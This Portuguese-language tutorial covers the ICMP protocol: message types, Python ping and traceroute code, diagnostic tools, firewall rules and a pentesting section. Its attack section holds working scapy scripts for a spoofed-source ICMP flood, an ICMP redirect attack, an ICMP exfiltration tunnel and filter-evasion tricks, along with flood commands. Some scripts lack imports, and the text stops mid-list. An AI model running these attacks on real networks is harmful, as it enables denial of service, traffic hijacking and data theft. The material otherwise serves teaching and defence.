# ICMP

## 📋 **Índice**

1. [Fundamentos do ICMP](#-fundamentos-do-icmp)
2. [Tipos e Códigos ICMP](#-tipos-e-códigos-icmp)
3. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
4. [Ferramentas ICMP](#-ferramentas-icmp)
5. [Segurança e Vulnerabilidades](#-segurança-e-vulnerabilidades)
6. [Pentesting com ICMP](#-pentesting-com-icmp)
7. [Mitigações e Controles](#-mitigações-e-controles)
8. [Troubleshooting e Diagnóstico](#-troubleshooting-e-diagnóstico)

***

## 🔍 **Fundamentos do ICMP**

### **O que é ICMP?**

O **Internet Control Message Protocol (ICMP)** é um protocolo de suporte da suíte TCP/IP, operando na camada de rede (Layer 3) do modelo OSI. Diferente do TCP e UDP, o ICMP não transporta dados de aplicações, mas sim mensagens de controle, erro e diagnóstico entre dispositivos de rede.

### **Contexto Histórico**

```yaml
Evolução do ICMP:
  1981: RFC 792 - Especificação original ICMP
  1981: ICMP implementado no 4.2BSD (Unix)
  1995: ICMPv6 (RFC 1885) para IPv6
  2007: RFC 4884 - Extensões para mensagens de erro
  2010: ICMP rate limiting amplamente adotado
  2019: RFC 8335 - PROBE (novos tipos de mensagem)

Motivação:
  ❌ IP não possui mecanismos de controle ou feedback
  ❌ Falhas de entrega precisam ser comunicadas
  ❌ Diagnóstico de rede requer ferramentas padronizadas
  ✅ ICMP fornece feedback essencial para operação de rede
```

### **Características Principais**

| Característica         | Descrição                                  | Impacto          |
| ---------------------- | ------------------------------------------ | ---------------- |
| **Sem estado**         | Mensagens independentes, sem conexão       | Baixa sobrecarga |
| **Baixo overhead**     | Encapsulado diretamente em IP              | Eficiente        |
| **Controle essencial** | Feedback sobre problemas de rede           | Crítico          |
| **Diagnóstico**        | Base para ferramentas como ping/traceroute | Fundamental      |

### **Posição no Modelo OSI**

```mermaid
graph TD
    subgraph "Camada 7 - Aplicação"
        APP[HTTP, FTP, DNS, etc.]
    end
    
    subgraph "Camada 4 - Transporte"
        TCP[TCP]
        UDP[UDP]
    end
    
    subgraph "Camada 3 - Rede"
        IP[IP]
        ICMP[ICMP - Controle e Erro]
    end
    
    subgraph "Camada 2 - Enlace"
        ETH[Ethernet, Wi-Fi, etc.]
    end
    
    APP --> TCP
    APP --> UDP
    TCP --> IP
    UDP --> IP
    ICMP --> IP
    IP --> ETH
    
    style ICMP fill:#ff9999,stroke:#333,stroke-width:2px
```

***

## 📊 **Tipos e Códigos ICMP**

### **Tabela Completa de Tipos ICMPv4**

| Tipo   | Nome                    | Descrição                 | Uso Comum                    |
| ------ | ----------------------- | ------------------------- | ---------------------------- |
| **0**  | Echo Reply              | Resposta ao ping          | Ping                         |
| **3**  | Destination Unreachable | Destino inalcançável      | Diagnóstico                  |
| **4**  | Source Quench           | Redução de envio          | Controle de congestionamento |
| **5**  | Redirect                | Redirecionamento de rota  | Otimização de roteamento     |
| **8**  | Echo Request            | Solicitação de ping       | Ping                         |
| **9**  | Router Advertisement    | Anúncio de roteador       | Descoberta de roteadores     |
| **10** | Router Solicitation     | Solicitação de roteador   | Descoberta de roteadores     |
| **11** | Time Exceeded           | TTL expirado              | Traceroute                   |
| **12** | Parameter Problem       | Problema no cabeçalho IP  | Diagnóstico                  |
| **13** | Timestamp Request       | Solicitação de timestamp  | Sincronização                |
| **14** | Timestamp Reply         | Resposta timestamp        | Sincronização                |
| **15** | Information Request     | Solicitação de informação | Obsoleto                     |
| **16** | Information Reply       | Resposta de informação    | Obsoleto                     |
| **17** | Address Mask Request    | Solicitação de máscara    | DHCP alternativo             |
| **18** | Address Mask Reply      | Resposta de máscara       | DHCP alternativo             |

### **Destination Unreachable (Tipo 3) - Códigos**

```python
# Códigos de Destination Unreachable
ICMP_UNREACH_CODES = {
    0: "Network Unreachable",
    1: "Host Unreachable",
    2: "Protocol Unreachable",
    3: "Port Unreachable",
    4: "Fragmentation Needed and DF Set",
    5: "Source Route Failed",
    6: "Destination Network Unknown",
    7: "Destination Host Unknown",
    8: "Source Host Isolated",
    9: "Communication with Destination Network Administratively Prohibited",
    10: "Communication with Destination Host Administratively Prohibited",
    11: "Network Unreachable for Type of Service",
    12: "Host Unreachable for Type of Service",
    13: "Communication Administratively Prohibited",
    14: "Host Precedence Violation",
    15: "Precedence Cutoff in Effect"
}
```

### **Time Exceeded (Tipo 11) - Códigos**

```python
ICMP_TIMEXCEED_CODES = {
    0: "TTL Exceeded in Transit",      # Usado pelo traceroute
    1: "Fragment Reassembly Time Exceeded"
}
```

### **Estrutura da Mensagem ICMP**

```python
#!/usr/bin/env python3
# icmp_packet_structure.py

import struct
import socket
import ipaddress

class ICMPPacket:
    """Estrutura de um pacote ICMP"""
    
    def __init__(self, type_code=8, code=0, identifier=None, sequence=1, payload=None):
        self.type = type_code      # Tipo ICMP (8=Request, 0=Reply)
        self.code = code           # Código do tipo
        self.checksum = 0          # Checksum (calculado depois)
        self.identifier = identifier or os.getpid() & 0xFFFF  # Identificador (PID)
        self.sequence = sequence    # Número de sequência
        self.payload = payload or b'PingPayload'  # Dados opcionais
    
    def calculate_checksum(self, data):
        """Calcular checksum ICMP (RFC 1071)"""
        if len(data) % 2:
            data += b'\x00'
        
        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i+1]
            checksum += word
        
        checksum = (checksum >> 16) + (checksum & 0xFFFF)
        checksum = ~checksum & 0xFFFF
        return checksum
    
    def build(self):
        """Construir pacote ICMP em bytes"""
        # Header ICMP (8 bytes)
        header = struct.pack('!BBHHH', 
            self.type, 
            self.code, 
            self.checksum, 
            self.identifier, 
            self.sequence
        )
        
        # Payload
        payload = self.payload
        
        # Calcular checksum
        packet = header + payload
        self.checksum = self.calculate_checksum(packet)
        
        # Reconstruir com checksum correto
        header = struct.pack('!BBHHH',
            self.type,
            self.code,
            self.checksum,
            self.identifier,
            self.sequence
        )
        
        return header + payload
    
    def parse(self, data):
        """Parsear pacote ICMP recebido"""
        if len(data) < 8:
            return None
        
        header = struct.unpack('!BBHHH', data[:8])
        
        return {
            'type': header[0],
            'code': header[1],
            'checksum': header[2],
            'identifier': header[3],
            'sequence': header[4],
            'payload': data[8:]
        }

# Exemplo de uso
icmp = ICMPPacket(type_code=8, sequence=1)
packet = icmp.build()
print(f"📦 Pacote ICMP: {packet.hex()}")
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Fluxo ICMP Echo Request/Reply (Ping)**

```mermaid
sequenceDiagram
    participant A as Host A<br/>192.168.1.10
    participant R as Roteador
    participant B as Host B<br/>192.168.1.20

    Note over A: Cria ICMP Echo Request<br/>Type=8, Code=0, ID=1234, Seq=1
    
    A->>R: IP (src=192.168.1.10, dst=192.168.1.20)<br/>ICMP Echo Request
    R->>B: Encaminha pacote
    
    Note over B: Processa ICMP<br/>Verifica destino
    
    B->>B: Cria ICMP Echo Reply<br/>Type=0, Code=0, ID=1234, Seq=1
    
    B->>R: IP (src=192.168.1.20, dst=192.168.1.10)<br/>ICMP Echo Reply
    R->>A: Encaminha resposta
    
    Note over A: Calcula RTT<br/>Registra resposta
```

### **Implementação Ping em Python**

```python
#!/usr/bin/env python3
# simple_ping.py - Implementação simples de ping

import socket
import time
import struct
import select
import sys

class SimplePing:
    def __init__(self, target, count=4, timeout=2):
        self.target = target
        self.count = count
        self.timeout = timeout
        self.seq = 0
        self.responses = []
    
    def create_icmp_packet(self, seq):
        """Criar pacote ICMP Echo Request"""
        # Tipo (8 = Echo Request), Código (0)
        type_code = 8
        code = 0
        checksum = 0
        identifier = os.getpid() & 0xFFFF
        
        # Payload com timestamp
        payload = struct.pack('!d', time.time()) + b'ping'
        
        # Header ICMP
        header = struct.pack('!BBHHH', type_code, code, checksum, identifier, seq)
        packet = header + payload
        
        # Calcular checksum
        checksum = self.calculate_checksum(packet)
        
        # Reconstruir com checksum
        header = struct.pack('!BBHHH', type_code, code, checksum, identifier, seq)
        return header + payload
    
    def calculate_checksum(self, data):
        """Calcular checksum ICMP"""
        if len(data) % 2:
            data += b'\x00'
        
        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i+1]
            checksum += word
        
        checksum = (checksum >> 16) + (checksum & 0xFFFF)
        checksum = ~checksum & 0xFFFF
        return checksum
    
    def parse_response(self, data):
        """Parsear resposta ICMP"""
        # Extrair header IP (20 bytes mínimo)
        ip_header = data[:20]
        ip_len = (ip_header[0] & 0x0F) * 4
        
        # Extrair ICMP
        icmp_data = data[ip_len:]
        
        if len(icmp_data) < 8:
            return None
        
        # Parse ICMP header
        icmp = struct.unpack('!BBHHH', icmp_data[:8])
        
        return {
            'type': icmp[0],
            'code': icmp[1],
            'checksum': icmp[2],
            'identifier': icmp[3],
            'sequence': icmp[4],
            'payload': icmp_data[8:]
        }
    
    def send_ping(self):
        """Enviar ping e aguardar resposta"""
        self.seq += 1
        
        # Criar socket RAW (requer privilégios)
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        except PermissionError:
            print("❌ É necessário privilégios de root/administrador")
            return None
        
        sock.settimeout(self.timeout)
        
        # Resolver IP
        try:
            ip = socket.gethostbyname(self.target)
        except:
            print(f"❌ Não foi possível resolver {self.target}")
            return None
        
        # Criar e enviar pacote
        packet = self.create_icmp_packet(self.seq)
        send_time = time.time()
        sock.sendto(packet, (ip, 0))
        
        # Aguardar resposta
        try:
            data, addr = sock.recvfrom(1024)
            recv_time = time.time()
            
            response = self.parse_response(data)
            
            if response and response['type'] == 0:  # Echo Reply
                rtt = (recv_time - send_time) * 1000
                
                result = {
                    'seq': response['sequence'],
                    'ip': addr[0],
                    'rtt': rtt,
                    'success': True
                }
                
                print(f"Resposta de {addr[0]}: seq={response['sequence']} rtt={rtt:.2f}ms")
                return result
                
        except socket.timeout:
            print(f"Timeout para {ip}")
            return {'success': False}
        finally:
            sock.close()
        
        return None
    
    def run(self):
        """Executar sequência de pings"""
        print(f"PING {self.target} ({socket.gethostbyname(self.target)})")
        print(f"{self.count} pacotes enviados, timeout {self.timeout}s\n")
        
        for _ in range(self.count):
            result = self.send_ping()
            if result:
                self.responses.append(result)
            time.sleep(1)
        
        # Estatísticas
        successful = [r for r in self.responses if r.get('success')]
        if successful:
            rtts = [r['rtt'] for r in successful]
            print(f"\n--- {self.target} ping statistics ---")
            print(f"{len(self.responses)} packets transmitted, {len(successful)} received, "
                  f"{100 - (len(successful)/len(self.responses))*100:.0f}% packet loss")
            print(f"rtt min/avg/max = {min(rtts):.2f}/{sum(rtts)/len(rtts):.2f}/{max(rtts):.2f} ms")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: simple_ping.py <target> [count]")
        sys.exit(1)
    
    target = sys.argv[1]
    count = int(sys.argv[2]) if len(sys.argv) > 2 else 4
    
    ping = SimplePing(target, count)
    ping.run()
```

### **Traceroute via ICMP**

```python
#!/usr/bin/env python3
# simple_traceroute.py

import socket
import struct
import time
import sys

class SimpleTraceroute:
    def __init__(self, target, max_hops=30, timeout=2):
        self.target = target
        self.max_hops = max_hops
        self.timeout = timeout
        self.dest_ip = socket.gethostbyname(target)
    
    def create_icmp_packet(self, seq):
        """Criar ICMP Echo Request"""
        type_code = 8
        code = 0
        checksum = 0
        identifier = os.getpid() & 0xFFFF
        payload = struct.pack('!d', time.time()) + b'trace'
        
        header = struct.pack('!BBHHH', type_code, code, checksum, identifier, seq)
        packet = header + payload
        
        # Calcular checksum
        checksum = self.calculate_checksum(packet)
        header = struct.pack('!BBHHH', type_code, code, checksum, identifier, seq)
        
        return header + payload
    
    def calculate_checksum(self, data):
        """Calcular checksum"""
        if len(data) % 2:
            data += b'\x00'
        
        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i+1]
            checksum += word
        
        checksum = (checksum >> 16) + (checksum & 0xFFFF)
        checksum = ~checksum & 0xFFFF
        return checksum
    
    def parse_icmp_response(self, data):
        """Parsear resposta ICMP"""
        ip_len = (data[0] & 0x0F) * 4
        icmp_data = data[ip_len:]
        
        if len(icmp_data) < 8:
            return None
        
        icmp = struct.unpack('!BBHHH', icmp_data[:8])
        
        return {
            'type': icmp[0],
            'code': icmp[1],
            'identifier': icmp[3],
            'sequence': icmp[4]
        }
    
    def trace(self):
        """Executar traceroute"""
        print(f"Traceroute para {self.target} ({self.dest_ip})")
        print(f"Máximo de {self.max_hops} saltos\n")
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        sock.settimeout(self.timeout)
        
        for ttl in range(1, self.max_hops + 1):
            # Configurar TTL
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl)
            
            # Enviar pacote
            packet = self.create_icmp_packet(ttl)
            send_time = time.time()
            sock.sendto(packet, (self.dest_ip, 0))
            
            # Aguardar resposta
            try:
                data, addr = sock.recvfrom(1024)
                recv_time = time.time()
                
                response = self.parse_icmp_response(data)
                rtt = (recv_time - send_time) * 1000
                
                if response:
                    if response['type'] == 0:  # Echo Reply (destino alcançado)
                        print(f"{ttl:2}  {addr[0]}  {rtt:.2f}ms  ✨ DESTINO ALCANÇADO")
                        break
                    elif response['type'] == 11:  # Time Exceeded
                        print(f"{ttl:2}  {addr[0]}  {rtt:.2f}ms")
                    else:
                        print(f"{ttl:2}  *  ICMP Type {response['type']}")
                        
            except socket.timeout:
                print(f"{ttl:2}  * * *  Timeout")
            except Exception as e:
                print(f"{ttl:2}  * Erro: {e}")
        
        sock.close()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: simple_traceroute.py <target>")
        sys.exit(1)
    
    trace = SimpleTraceroute(sys.argv[1])
    trace.trace()
```

***

## 🛠️ **Ferramentas ICMP**

### **Ping - Comandos Avançados**

```bash
# Ping básico
ping google.com
ping -c 4 8.8.8.8                    # Linux: 4 pacotes
ping -n 4 8.8.8.8                    # Windows: 4 pacotes

# Ping com tamanho de pacote
ping -s 1472 8.8.8.8                 # Linux: 1472 bytes (MTU 1500)
ping -l 1472 8.8.8.8                 # Windows

# Ping com Do Not Fragment (DF)
ping -M do -s 1472 8.8.8.8           # Linux: MTU discovery
ping -f -l 1472 8.8.8.8              # Windows

# Ping flood (requer root)
ping -f 8.8.8.8                      # Linux
ping -t -l 65500 8.8.8.8             # Windows (limite)

# Ping com intervalo
ping -i 0.2 8.8.8.8                  # Linux: 0.2s entre pacotes
ping -w 5000 8.8.8.8                 # Windows: timeout 5s

# Ping com TTL específico
ping -t 10 8.8.8.8                   # Linux
ping -i 10 8.8.8.8                   # Windows

# Ping com source IP específico
ping -I eth0 8.8.8.8                 # Linux
ping -S 192.168.1.10 8.8.8.8         # Windows
```

### **Traceroute - Comandos Avançados**

```bash
# Traceroute básico
traceroute google.com                 # Linux (UDP)
tracert google.com                    # Windows (ICMP)

# Traceroute ICMP (Linux)
traceroute -I google.com              # Usa ICMP Echo Request

# Traceroute TCP (Linux)
traceroute -T -p 80 google.com        # TCP SYN para porta 80

# Traceroute com ASN
traceroute -A google.com              # Mostra números AS

# Traceroute sem DNS
traceroute -n 8.8.8.8

# Traceroute com timeout específico
traceroute -w 2 google.com

# Traceroute com interface
traceroute -i eth0 google.com
```

### **Ferramentas ICMP Especializadas**

```bash
# fping - Ping paralelo
fping 192.168.1.1 192.168.1.2 192.168.1.3
fping -g 192.168.1.0/24              # Escaneia rede
fping -a -g 192.168.1.0/24           # Apenas hosts ativos

# hping3 - ICMP personalizado
hping3 --icmp 8.8.8.8                # Ping ICMP
hping3 --icmp --flood 8.8.8.8        # ICMP flood
hping3 --icmp --data 1000 8.8.8.8    # Pacote com payload

# nmap - Host discovery via ICMP
nmap -sn -PE 192.168.1.0/24          # Ping scan (ICMP Echo)
nmap -sn -PP 192.168.1.0/24          # Timestamp request
nmap -sn -PM 192.168.1.0/24          # Address mask request

# mtr - My Traceroute (ping + traceroute)
mtr google.com
mtr --report google.com
mtr --report-wide 8.8.8.8

# tcptraceroute - Traceroute TCP
tcptraceroute google.com 80

# nping - Nmap ping tool
nping --icmp -c 4 8.8.8.8
nping --icmp --tcp -c 4 8.8.8.8
```

***

## 🔒 **Segurança e Vulnerabilidades**

### **Ameaças ICMP**

```mermaid
graph TD
    A[Ameaças ICMP] --> B[ICMP Flood DDoS]
    A --> C[Ping of Death]
    A --> D[ICMP Redirect Attack]
    A --> E[ICMP Tunneling]
    A --> F[Smurf Attack]
    
    B --> B1[Amplificação]
    B --> B2[Resource Exhaustion]
    
    C --> C1[Buffer Overflow]
    C --> C2[Crash/DoS]
    
    D --> D1[Route Manipulation]
    D --> D2[Man-in-the-Middle]
    
    E --> E1[Data Exfiltration]
    E --> E2[C2 Communication]
    
    F --> F1[Broadcast Amplification]
    F --> F2[Reflection Attack]
```

### **Ataque 1: ICMP Flood DDoS**

```python
#!/usr/bin/env python3
# icmp_flood_demo.py - Demonstração educacional

from scapy.all import *
import random
import sys

class ICMPFlood:
    def __init__(self, target_ip):
        self.target_ip = target_ip
        self.packet_count = 0
    
    def random_ip(self):
        """Gerar IP aleatório"""
        return f"{random.randint(1, 254)}.{random.randint(1, 254)}." \
               f"{random.randint(1, 254)}.{random.randint(1, 254)}"
    
    def send_flood(self, duration=10):
        """Enviar flood ICMP por X segundos"""
        print(f"🚀 Iniciando ICMP flood em {self.target_ip} por {duration}s")
        
        start_time = time.time()
        
        while time.time() - start_time < duration:
            # Criar pacote ICMP com IP spoofed
            packet = IP(src=self.random_ip(), dst=self.target_ip) / \
                     ICMP(type=8, code=0) / \
                     Raw(load=f"X" * 100)
            
            send(packet, verbose=False)
            self.packet_count += 1
            
            # Controle de taxa
            if self.packet_count % 1000 == 0:
                print(f"  Enviados {self.packet_count} pacotes")
        
        print(f"✅ Flood concluído: {self.packet_count} pacotes enviados")

# Nota: Este código é APENAS para testes autorizados
```

### **Ataque 2: ICMP Redirect Attack**

```python
def icmp_redirect_attack(target_ip, gateway_ip, new_gateway_ip, target_network):
    """
    ICMP Redirect Attack - Redirecionar tráfego
    Faz o alvo usar um gateway falso
    """
    from scapy.all import *
    
    # Construir pacote ICMP Redirect
    redirect_packet = IP(src=gateway_ip, dst=target_ip) / \
                      ICMP(type=5, code=1) / \
                      IP(src=new_gateway_ip, dst=target_network) / \
                      ICMP(type=8)
    
    send(redirect_packet, verbose=True)
    print(f"⚠️  Redirecionando tráfego de {target_ip} para {new_gateway_ip}")
```

### **Ataque 3: ICMP Tunneling**

```python
#!/usr/bin/env python3
# icmp_tunnel.py - Túnel ICMP para exfiltração

import socket
import struct
import sys

class ICMPTunnel:
    def __init__(self, target_ip):
        self.target_ip = target_ip
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        self.identifier = 12345
    
    def send_data(self, data, seq=1):
        """Enviar dados via ICMP Echo Request"""
        # Dividir dados em chunks (máx 1472 bytes)
        chunks = [data[i:i+1400] for i in range(0, len(data), 1400)]
        
        for i, chunk in enumerate(chunks):
            # Construir pacote ICMP
            type_code = 8  # Echo Request
            code = 0
            checksum = 0
            sequence = seq + i
            
            # Payload com dados
            payload = chunk.encode()
            
            # Header ICMP
            header = struct.pack('!BBHHH', type_code, code, checksum, self.identifier, sequence)
            packet = header + payload
            
            # Calcular checksum
            checksum = self.calculate_checksum(packet)
            header = struct.pack('!BBHHH', type_code, code, checksum, self.identifier, sequence)
            packet = header + payload
            
            # Enviar
            self.sock.sendto(packet, (self.target_ip, 0))
            time.sleep(0.1)
    
    def receive_data(self, timeout=10):
        """Receber dados via ICMP Echo Reply"""
        data_received = []
        self.sock.settimeout(timeout)
        
        try:
            while True:
                data, addr = self.sock.recvfrom(65535)
                
                # Parsear ICMP
                ip_len = (data[0] & 0x0F) * 4
                icmp_data = data[ip_len:]
                
                if len(icmp_data) < 8:
                    continue
                
                icmp = struct.unpack('!BBHHH', icmp_data[:8])
                
                if icmp[0] == 0 and icmp[3] == self.identifier:  # Echo Reply
                    payload = icmp_data[8:]
                    data_received.append(payload.decode())
                    
        except socket.timeout:
            pass
        
        return ''.join(data_received)
    
    def calculate_checksum(self, data):
        """Calcular checksum ICMP"""
        if len(data) % 2:
            data += b'\x00'
        
        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i+1]
            checksum += word
        
        checksum = (checksum >> 16) + (checksum & 0xFFFF)
        checksum = ~checksum & 0xFFFF
        return checksum

# Uso (exfiltração de dados)
tunnel = ICMPTunnel('192.168.1.10')
tunnel.send_data("SENHA_SECRETA_12345")
```

***

## 🎯 **Pentesting com ICMP**

### **Metodologia de Teste**

#### **Fase 1: Host Discovery via ICMP**

```bash
# Ping sweep completo
nmap -sn -PE 192.168.1.0/24
fping -a -g 192.168.1.0/24
for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "64 bytes"; done

# Ping com pacotes personalizados
nmap -sn -PE --data-length 100 192.168.1.0/24

# Ping em massa com masscan
masscan 192.168.1.0/24 -p 1 --ping --rate 10000
```

#### **Fase 2: Traceroute e Mapeamento de Rede**

```bash
# Mapeamento de rotas
traceroute -n 8.8.8.8
mtr --report 8.8.8.8

# Traceroute com ICMP timestamp
nmap --traceroute -Pn -p 80 8.8.8.8

# Descoberta de firewalls
hping3 --icmp -c 3 8.8.8.8
hping3 --icmp --ttl 1 8.8.8.8
```

#### **Fase 3: Detecção de Firewall e Filtragem ICMP**

```python
#!/usr/bin/env python3
# icmp_firewall_detector.py

import socket
import struct
import time
import sys

class ICMPFirewallDetector:
    def __init__(self, target):
        self.target = target
        self.results = {}
    
    def send_icmp(self, type_code, seq=1):
        """Enviar pacote ICMP personalizado"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
            sock.settimeout(2)
            
            # Construir pacote
            identifier = 12345
            checksum = 0
            payload = b'test'
            
            header = struct.pack('!BBHHH', type_code, 0, checksum, identifier, seq)
            packet = header + payload
            
            # Calcular checksum
            checksum = self.calculate_checksum(packet)
            header = struct.pack('!BBHHH', type_code, 0, checksum, identifier, seq)
            packet = header + payload
            
            # Enviar
            ip = socket.gethostbyname(self.target)
            sock.sendto(packet, (ip, 0))
            
            # Aguardar resposta
            try:
                data, addr = sock.recvfrom(1024)
                return True
            except socket.timeout:
                return False
                
        except PermissionError:
            print("❌ É necessário privilégios de root")
            return False
        finally:
            sock.close()
    
    def calculate_checksum(self, data):
        """Calcular checksum"""
        if len(data) % 2:
            data += b'\x00'
        
        checksum = 0
        for i in range(0, len(data), 2):
            word = (data[i] << 8) + data[i+1]
            checksum += word
        
        checksum = (checksum >> 16) + (checksum & 0xFFFF)
        checksum = ~checksum & 0xFFFF
        return checksum
    
    def detect(self):
        """Detectar filtragem ICMP"""
        icmp_types = [
            (8, "Echo Request (ping)"),
            (13, "Timestamp Request"),
            (17, "Address Mask Request")
        ]
        
        print(f"🔍 Detectando filtragem ICMP em {self.target}")
        
        for type_code, description in icmp_types:
            response = self.send_icmp(type_code)
            self.results[description] = response
            
            status = "✅ RESPONDE" if response else "❌ BLOQUEADO"
            print(f"  {description}: {status}")
        
        return self.results

# Uso
detector = ICMPFirewallDetector("8.8.8.8")
detector.detect()
```

### **Técnicas de Evasão**

```python
# Evasão de firewalls ICMP
def icmp_evasion_techniques():
    """
    Técnicas para evadir filtros ICMP
    """
    
    # 1. Pacotes fragmentados
    def fragmented_icmp(target):
        from scapy.all import *
        packet = IP(dst=target, flags='MF') / ICMP() / ("X" * 1400)
        send(packet)
    
    # 2. TTL baixo para evitar detecção
    def low_ttl_icmp(target):
        from scapy.all import *
        packet = IP(dst=target, ttl=1) / ICMP()
        send(packet)
    
    # 3. Pacotes com timestamps atípicos
    def timestamp_icmp(target):
        from scapy.all import *
        packet = IP(dst=target) / ICMP(type=13)  # Timestamp Request
        send(packet)
    
    # 4. Payloads específicos
    def custom_payload_icmp(target):
        from scapy.all import *
        packet = IP(dst=target) / ICMP() / Raw(load="\x00" * 100)
        send(packet)
```

***

## 🛡️ **Mitigações e Controles**

### **Configurações de Firewall**

#### **Linux iptables**

```bash
# Limitar taxa de ICMP
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# Bloquear tipos perigosos
iptables -A INPUT -p icmp --icmp-type redirect -j DROP
iptables -A INPUT -p icmp --icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp --icmp-type address-mask-request -j DROP

# Bloquear ICMP fragmentado
iptables -A INPUT -p icmp -f -j DROP

# Permitir apenas tipos necessários
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
iptables -A INPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
iptables -A INPUT -p icmp --icmp-type time-exceeded -j ACCEPT
iptables -A INPUT -p icmp -j DROP
```

#### **Windows Firewall**

```powershell
# Bloquear ICMP
netsh advfirewall firewall add rule name="Block ICMP" protocol=icmpv4:8,any dir=in action=block

# Permitir ICMP limitado
netsh advfirewall firewall add rule name="Allow ICMP" protocol=icmpv4:8,any dir=in action=allow

# Configurar perfil
Set-NetFirewallProfile -Name Domain -ICMPBlocked True
Set-NetFirewallProfile -Name Private -ICMPBlocked False
Set-NetFirewallProfile -Name Public -ICMPBlocked True
```

#### **Cisco IOS**

```cisco
! ACL para limitar ICMP
access-list 101 deny icmp any any echo
access-list 101 deny icmp any any redirect
access-list 101 deny icmp any any time-exceeded
access-list 101 permit icmp any any unreachable
access-list 101 permit ip any any

! Aplicar ACL
interface GigabitEthernet0/0
 ip access-group 101 in

! Control plane policing
control-plane
 service-policy input ICMP-POLICY
```

### **Rate Limiting e Controles**

```yaml
Recomendações de segurança ICMP:
  
  Bloquear Tipos Perigosos:
    - ICMP Redirect (Type 5)
    - Timestamp Request/Reply (Type 13/14)
    - Address Mask Request/Reply (Type 17/18)
    - Source Quench (Type 4)
  
  Permitir Tipos Essenciais:
    - Echo Request/Reply (Type 8/0) - limitado
    - Destination Unreachable (Type 3)
    - Time Exceeded (Type 11)
  
  Implementar:
    - Rate limiting (max 10-20 pps)
    - Fragment blocking
    - Large packet filtering
    - Logging de atividades suspeitas
```

***

## 🔍 **Troubleshooting e Diagnóstico**

### **Ferramentas de Diagnóstico**

```bash
# Verificar estatísticas ICMP
netstat -s | grep -i icmp
nstat -a | grep -i icmp

# Monitorar tráfego ICMP em tempo real
tcpdump -i eth0 icmp -n
tcpdump -i eth0 'icmp and icmp[0] == 8'  # Apenas Echo Requests
tcpdump -i eth0 'icmp and icmp[0] == 0'  # Apenas Echo Replies

# Analisar com Wireshark
tshark -i eth0 -Y "icmp" -T fields -e ip.src -e ip.dst -e icmp.type

# Testar MTU
ping -M do -s 1472 8.8.8.8  # Teste MTU 1500
ping -M do -s 1500 8.8.8.8  # Deve falhar (fragmentação necessária)

# Verificar rotas
ip route get 8.8.8.8
traceroute -n 8.8.8.8
```

### **Diagnóstico de Problemas**

```python
#!/usr/bin/env python3
# icmp_diagnostics.py

import subprocess
import socket
import time
import sys

class ICMPDiagnostics:
    def __init__(self, target):
        self.target = target
        self.ip = socket.gethostbyname(target)
    
    def check_connectivity(self):
        """Verificar conectividade básica"""
        print("🔍 Verificando conectividade...")
        result = subprocess.run(['ping', '-c', '3', '-W', '1', self.ip], 
                                capture_output=True, text=True)
        
        if result.returncode == 0:
            print("✅ ICMP Echo funcionando")
            return True
        else:
            print("❌ ICMP Echo bloqueado ou host inativo")
            return False
    
    def check_mtu(self):
        """Testar MTU da rede"""
        print("\n🔍 Testando MTU...")
        mtu = 1500
        
        while mtu > 500:
            size = mtu - 28  # ICMP header
            result = subprocess.run(['ping', '-c', '1', '-M', 'do', '-s', str(size), self.ip],
                                    capture_output=True)
            
            if result.returncode == 0:
                print(f"✅ MTU máximo: {mtu}")
                break
            
            mtu -= 100
            print(f"   Tentando MTU: {mtu}")
    
    def check_fragmentation(self):
        """Testar fragmentação de pacotes"""
        print("\n🔍 Testando fragmentação...")
        sizes = [500, 1000, 2000, 3000, 4000, 5000]
        
        for size in sizes:
            result = subprocess.run(['ping', '-c', '1', '-s', str(size), self.ip],
                                    capture_output=True)
            
            if result.returncode == 0:
                print(f"✅ Tamanho {size} bytes: Sucesso")
            else:
                print(f"❌ Tamanho {size} bytes: Falha")
    
    def trace_route(self):
        """Executar traceroute"""
        print("\n🔍 Executando traceroute...")
        result = subprocess.run(['traceroute', '-n', '-q', '1', '-w', '1', self.ip],
                                capture_output=True, text=True)
        print(result.stdout)
    
    def run_all(self):
        """Executar todos os diagnósticos"""
        print(f"📡 Diagnosticando ICMP para {self.target} ({self.ip})")
        print("=" * 50)
        
        self.check_connectivity()
        self.check_mtu()
        self.check_fragmentation()
        self.trace_route()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: icmp_diagnostics.py <target>")
        sys.exit(1)
    
    diag = ICMPDiagnostics(sys.argv[1])
    diag.run_all()
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
ICMP é um protocolo essencial que:
  ✅ Fornece feedback crítico sobre operações de rede
  ✅ Base para ferramentas de diagnóstico (ping, traceroute)
  ✅ Suporta descoberta de MTU e fragmentação
  ✅ Opera sem configuração complexa

Desafios de segurança:
  ❌ Pode ser usado para ataques DDoS (flood)
  ❌ Permite exfiltração de dados via tunneling
  ❌ ICMP Redirect pode manipular rotas
  ❌ Mensagens de erro podem vazar informações
```

### **Boas Práticas**

1. **Configuração de Firewall**
   * Limitar taxa de pacotes ICMP
   * Bloquear tipos perigosos (Redirect, Timestamp)
   * Permitir apenas Echo, Unreachable, Time Exceeded
   * Implementar rate limiting por IP
2. **Monitoramento**
   * Detectar padrões de ICMP flood
